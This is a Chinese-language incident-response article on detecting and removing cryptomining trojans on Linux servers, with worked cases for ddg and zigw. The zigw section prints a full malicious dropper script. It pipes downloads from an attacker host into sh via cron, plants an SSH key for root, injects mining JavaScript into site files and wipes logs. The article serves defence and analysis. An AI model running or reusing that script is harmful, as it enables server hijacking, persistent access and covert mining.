标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-2230] 作者: Taber 发表于: [2018-12-18] [2018-12-19]被用户:Taber 修改过
本文共 [470] 位读者顶过
0x00 什么是挖矿?想要理解挖矿,就要先理解什么是区块链、虚拟货币。 区块链是一种通过去中心化、去信任的方式集体维护的一个可靠存储。区块链中的每个节点都能获得一份完整的数据拷贝。 虚拟货币是基于区块链的应用。区块链是底层技术,虚拟货币是基于此技术的应用。以比特币为例,可以说比特币是区块链,但区块链不是比特币。 什么是挖矿呢? 每隔一个时间点,比特币系统会在系统节点上生成一个随机代码,互联网中的所有计算机都可以去寻找此代码,谁找到此代码,就会产生一个区块。而比特币的发行是基于奖励的,每促成一个区块的生成,该节点便获得相应奖励,这样大家就有动力投入资金去维护整个交易网络的正常运行。这个寻找代码获得奖励的过程就是挖矿。但是要计算出符合条件的值需要进行上万亿次的哈希运算,这个过程需要大量的算力,于是部分黑客就会通过入侵服务器的方式来控制别人的计算机帮助自己挖矿。 挖矿木马挖矿木马一般为自动化扫描、攻击、部署挖矿进程的脚本,攻击者首先将挖矿脚本放在远程主机上,通过常见或最新爆出的可命令执行的自动化漏洞利用脚本获得主机的控制权后,登陆主机,利用wget或curl直接下载远程挖矿进程部署脚本,执行脚本进行挖矿进程的部署、隐藏、持久化和痕迹清除等工作。 挖矿流程一般为:
0x01 常见被挖矿的原因为了追求高效率,现在的黑客一般都是通过自动化脚本去扫描互联网上所有机器,寻找漏洞然后部署挖矿进程。所以大部分的挖矿都是由于受害者的主机上存在常见的漏洞。比如
一旦发现服务器被挖矿,应该首先查看挖矿进程所属的用户,根据挖矿进程的运行用户去排查该用户下是否还运行着其它进程,确定这些进程是否有上述经常被黑客利用的漏洞。如果有常见的漏洞,则应该重点对此进行排查。 0x02 被挖矿特征
0x03 排查过程1. 确定挖矿进程可以使用top命令直接筛选出占用CPU过高的可疑进程。 部分挖矿进程的名字由不规则数字和字母组成,可直接看出(如ddg的qW3xT.4或zigw等)。 [出自:jiwo.org]
也有的挖矿进程会修改进程名为常见名称,干扰运维人员,这种伪装方法比较简单(比如利用XHide修改进程名或直接修改可执行文件名),所以排查过程中也要关注所有占用CPU较高的可疑进程。
如果看到了可疑进程,可以使用lsof -p pid 查看进程打开的文件,或查看/proc/pid/exe 指向的文件。 lsof
proc
从上图可以看到,python进程所指向的文件明显为异常文件,此时就需要重点排查该文件。如果挖矿木马有隐藏进程的功能,那么很难直接从top中确定可疑进程名。这时,可从以下几方面进行排查: 1).是否替换了系统命令 使用 rpm -Va 查看系统命令是否被替换,如果系统命令已经被替换,可直接从纯净系统拷贝ps,top,等命令到受感染主机上使用。
可以看到,系统的ps、netstat、lsof 三个命令均被替换。 ps命令被替换后,会修改ps输出的内容,从而隐藏可疑进程。此时直接使用ps命令时,会导致查询不准确。比如gates木马会替换ps命令,直接使用ps -ef命令查看进程时,会隐藏一个位于/usr/bin/下的进程。如下,使用busybox可看到可疑进程,但是使用系统的ps命令就不会看到/usr/bin/bsd-port/recei进程。
2).是否修改了动态链接库 如果找不到占用CPU较高的进程,可考虑排查是否修改了动态链接库,使用cat /etc/ld.so.preload 或echo $LD_PRELOAD 命令查看是否有预加载的动态链接库文件。 也可以使用ldd命令查看命令依赖库中是否有可疑动态库文件,如图,在将libprocesshider.so文件加入ld.so.preload文件中后,ldd 命令可看到top命令预先加载了可疑动态库。
确认已经加载恶意动态链接库后,直接移除恶意动态链接库文件或清除ld.so.preload中对该库文件的引用内容即可。 3).以上情况都可以直接通过静态编译的busybox进行排查。 2. 查看挖矿进程所属用户一般挖矿进程为自动化攻击脚本,所以很少有提权的过程,那么很大可能挖矿进程所属用户即为攻击进入系统的用户。后续的排查过程可根据此寻找攻击者的入侵途径。 top
ps -ef |grep pid
两种方式都可以看到,挖矿进程所属用户为 weblogic。 3. 查看用户进程确定已失陷用户后,可查询该用户所属其他进程,判断其他进程是否有已知漏洞(Weblogic反序列化、Struts2系列漏洞、Jenkins RCE)或弱口令(Redis未授权、Hadoop yarn未授权、SSH弱口令)等问题。 ps -ef|grep username
可以看到,weblogic用户下除了两个挖矿进程,还有一个weblogic应用的进程,所以这时候就应该判断该该weblogic应用是否有已知的漏洞(比如WebLogic反序列化漏洞)。如果有的话,那么该挖矿进程很可能是利用了该漏洞进入主机。 4. 确定原因排查出挖矿木马后对木马类型进行分析,根据木马的传播特征和传播方式,初步判断本次入侵的原因。然后结合应用日志以及漏洞利用残留文件确定本次攻击是否利用了该漏洞。 比如,利用redis未授权访问漏洞后,一般会修改redis的dbfilename和dir的配置,并且使用reids写文件时,会在文件中残留redis和版本号标识,可以根据以上两个信息排查是否利用了redis。
0x04 清除挖矿木马1. 及时隔离主机部分带有蠕虫功能的挖矿木马在取得本机的控制权后,会以本机为跳板机,对同一局域网内的其他主机进行已知漏洞的扫描和进一步利用,所以发现挖矿现象后,在不影响业务的前提下应该及时隔离受感染主机,然后进行下一步分析。 2. 阻断与矿池通讯
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP 3. 清除定时任务大部分挖矿进程会在受感染主机中写入定时任务完成程序的驻留,当安全人员只清除挖矿木马时,定时任务会再次从服务器下载挖矿进程或直接执行挖矿脚本,导致挖矿进程清除失败。 使用crontab -l 或 vim /var/spool/cron/root 查看是否有可疑定时任务,有的话直接删除,或停止crond进程。
还有 /etc/crontab、/var/spool/cron、/etc/cron.daily/、/etc/cron.hourly/、/etc/cron.monthly/、/etc/anacrontab 等文件夹或文件中的内容也要关注。 4. 清除启动项还有的挖矿进程为了实现长期驻留,会向系统中添加启动项来确保系统重启后挖矿进程还能重新启动。所以在清除时还应该关注启动项中的内容,如果有可疑的启动项,也应该进行排查,确认是挖矿进程后,对其进行清除。 排查过程中重点应该关注: /etc/rc0.d/、/etc/rc1.d/、/etc/rc2.d/、/etc/rc3.d/、/etc/rc4.d/、/etc/rc5.d/、/etc/rc6.d/、/etc/rc.d/、/etc/rc.local /etc/inittab等目录或文件下的内容。 5. 清除公钥文件在用户家目录的.ssh目录下放置authoruzed_keys文件,从而免密登陆该机器也是一种常见的保持服务器控制权的手段。在排查过程中应该查看该文件中是否有可疑公钥信息,有的话直接删除,避免攻击者再次免密登陆该主机。 [UserDIR]/.ssh/authorized_keys 6. kill挖矿进程对于单进程挖矿程序,直接结束挖矿进程即可。但是对于大多数的挖矿进程,如果挖矿进程有守护进程,应先杀死守护进程再杀死挖矿进程,避免清除不彻底。 kill -9 pid 或 pkill ddg.3014 在实际的清除工作中,应找到本机上运行的挖矿脚本,根据脚本的执行流程确定木马的驻留方式,并按照顺序进行清除,避免清除不彻底。 0x005 挖矿进程清除实例1. ddgs.3014清除DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库服务器,并利用服务器算力挖矿(门罗币)的僵尸网络。
ddg.3014的执行脚本 i.sh
可以看到,脚本的执行流程是先写入定时任务(/var/spool/cron/root 或 /var/spool/cron/crontabs/root),然后下载对应版本的ddgs.3014文件并执行,最后清除其他存在于本机的挖矿样本。 ddgs.3014执行后会主动连接攻击者的C2服务器去下载相应的挖矿程序并运行,而且ddg还内置了redis和SSH扫描器,会对redis和SSH进行爆破,ddg还会在.ssh/authorized_keys中留下公钥。
ddgs.3014程序 和 qW3xT.4挖矿文件,
此时会有两个ddg相关进程进程,ddg.3014和qW3xT.4,
使用top命令可以看到,占用cpu较高的是qW3xT.4进程,即矿机。
根据脚本的执行流程可以知道,ddg.3014挖矿木马的清除步骤是 1).首先清除定时任务,删除/var/spool/cron/root 和 /var/spool/cron/crontabs/root中的内容 2).结束ddgs.3014,kill -9 1546 或 pkill -9 ddgs.3014 3).结束矿机进程,kill -9 1734 或 pkill -9 qW3xT.4 4).清除其他残留文件,rm -rf ~/.ddg /tmp/ddgs.3014 /tmp/qW3xT.4 5).清除authorized_keys中的恶意公钥, echo "" > ~/.ssh/authorized_keys 2. zigw清除zigw是一种XMR挖矿工具,攻击者通过爆破SSH获取系统权限,配置root用户免密登录,并下载及执行XMR 挖矿程序,及XMR 网页挖矿程序。XMR挖矿程序耗主机的CPU/GPU资源,网页挖矿程序耗访问服务器JS 网页的客户端资源 。 攻击者的C2服务器页面本身就自带JS挖矿效果:
zigw的执行脚本 shz.sh如下, #!/bin/shsetenforce 0 2>dev/nullecho SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER"cont=`cat ${crondir}`ssht=`cat /root/.ssh/authorized_keys`echo 1 > /etc/gmbpr2 rtdir="/etc/gmbpr2"oddir="/etc/gmbpr"bbdir="/usr/bin/curl"bbdira="/usr/bin/url"ccdir="/usr/bin/wget"ccdira="/usr/bin/get"mv /usr/bin/wget /usr/bin/get mv /usr/bin/curl /usr/bin/urlif [ -f "$oddir" ] then pkill zjgw chattr -i /etc/shz.sh rm -f /etc/shz.sh chattr -i /tmp/shz.sh rm -f /tmp/shz.sh chattr -i /etc/gmbpr rm -f /etc/gmbpr else echo "ok"fiif [ -f "$rtdir" ] then echo "goto 1" >> /etc/gmbpr2 chattr -i $cont if [ -f "$bbdir" ] then [[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} else [[ $cont =~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} fi mkdir /root/.ssh [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/ [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 /root/.ssh/authorized_keys [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then cd /etc filesize=`ls -l zigw | awk '{ print $5 }'` file="/etc/zigw" if [ -f "$file" ] then if [ "$filesize" -ne "1467080" ] then chattr -i /etc/zigw rm -f zigw if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw fi fi else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw fi fi chmod 777 zigw sleep 1s ./zigw else echo "runing....." fi chmod 777 /etc/zigw chattr +i /etc/zigw chmod 777 /etc/shz.sh chattr +i /etc/shz.sh shdir='/etc/shz.sh' if [ -f "$shdir" ] then echo "exists shell" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh fi sh /etc/shz.sh fi else echo "goto 1" > /tmp/gmbpr2 chattr -i $cont if [ -f "$bbdir" ] then [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} else [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} fi ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then cd /tmp filesize=`ls -l zigw | awk '{ print $5 }'` file="/tmp/zigw" if [ -f "$file" ] then if [ "$filesize" -ne "1467080" ] then chattr -i /tmp/zigw rm -f zigw if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw fi fi else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw fi fi chmod 777 zigw sleep 1s ./zigw else echo "runing....." fi chmod 777 /tmp/zigw chattr +i /tmp/zigw chmod 777 /tmp/shz.sh chattr +i /tmp/shz.sh shdir='/tmp/shz.sh' if [ -f "$shdir" ] then echo "exists shell" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh fi sh /tmp/shz.sh fifiiptables -F iptables -X iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP iptables -A OUTPUT -p tcp --dport 14444 -j DROP iptables-save service iptables reload ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :5555|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :6666|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :7777|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :3347|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :14444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :14443|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;history -cecho > /var/spool/mail/rootecho > /var/log/wtmpecho > /var/log/secureecho > /root/.bash_historyecho > /var/spool/mail/root 可以看到,脚本首先生成特征文件/etc/gmbpr2,接着将系统自带的wget和curl重命名为get和url,防止以后其它进入本机挖矿的脚本下载矿机抢夺资源,然后如果存在特征文件/etc/gmbpr,则认为该机器已经被其他同类攻击者感染,会停止zjgw进程并删除/etc下的gpbpr和shz.sh。
接下来判断如果存在自己的特征文件/etc/gmbpr2,就会为主机添加定时任务,并向authorized_keys中添加自己的公钥文件。
最后就会下载挖矿程序并执行,并为/tmp/zigw /tmp/shz/sh 增加i属性,避免被删除,最后添加防火墙规则屏蔽部分常用矿池的端口,并清除掉其他常见挖矿程序。 从脚本看出,zigw只是以定时任务的方式实现驻留,所以该木马的清除步骤为 1).清除定时任务,/var/spool/cron/$USER中的内容 2).结束zigw进程,pkill -9 zigw 3).删除公钥文件,/root/.ssh/zuthorized_keys 4).删除残留文件,需要先去除i属性,然后删除(chattr -i /etc/zigw /etc/shz.sh /tmp/zigw /tmp/shz.sh; rm /etc/zigw /etc/shz.sh /tmp/zigw /tmp/shz.sh /etc/gmbpr2) 5).恢复防火墙规则
|